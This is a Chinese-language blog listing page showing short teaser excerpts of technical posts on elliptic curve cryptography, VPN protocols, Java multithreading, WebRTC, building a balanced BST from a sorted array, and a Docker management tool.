Elliptic Curve Cryptography 椭圆曲线密码学(ECC)是一种基于有限域上椭圆曲线数学特性的公钥加密技术。其核心原理涉及椭圆曲线的代数性质、离散对数问题以及有限域上的运算。 椭圆曲线密码学是多种数字签名算法的基础,例如椭圆曲线数字签…...
全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比
目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec? IPsec VPN 5.1 IPsec传输模式(Transport Mode) 5.2 IPsec隧道模式(Tunne…...
【JavaSE】多线程基础学习笔记
多线程基础 -线程相关概念 程序(Program) 是为完成特定任务、用某种语言编写的一组指令的集合简单的说:就是我们写的代码 进程 进程是指运行中的程序,比如我们使用QQ,就启动了一个进程,操作系统就会为该进程分配内存…...
WebRTC调研
WebRTC是什么,为什么,如何使用 WebRTC有什么优势 WebRTC Architecture Amazon KVS WebRTC 其它厂商WebRTC 海康门禁WebRTC 海康门禁其他界面整理 威视通WebRTC 局域网 Google浏览器 Microsoft Edge 公网 RTSP RTMP NVR ONVIF SIP SRT WebRTC协…...
【把数组变成一棵树】有序数组秒变平衡BST,原来可以这么优雅!
【把数组变成一棵树】有序数组秒变平衡BST,原来可以这么优雅! 🌱 前言:一棵树的浪漫,从数组开始说起 程序员的世界里,数组是最常见的基本结构之一,几乎每种语言、每种算法都少不了它。可你有没有想过,一组看似“线性排列”的有序数组,竟然可以**“长”成一棵平衡的二…...
轻量级Docker管理工具Docker Switchboard
简介 什么是 Docker Switchboard ? Docker Switchboard 是一个轻量级的 Web 应用程序,用于管理 Docker 容器。它提供了一个干净、用户友好的界面来启动、停止和监控主机上运行的容器,使其成为本地开发、家庭实验室或小型服务器设置的理想选择…...
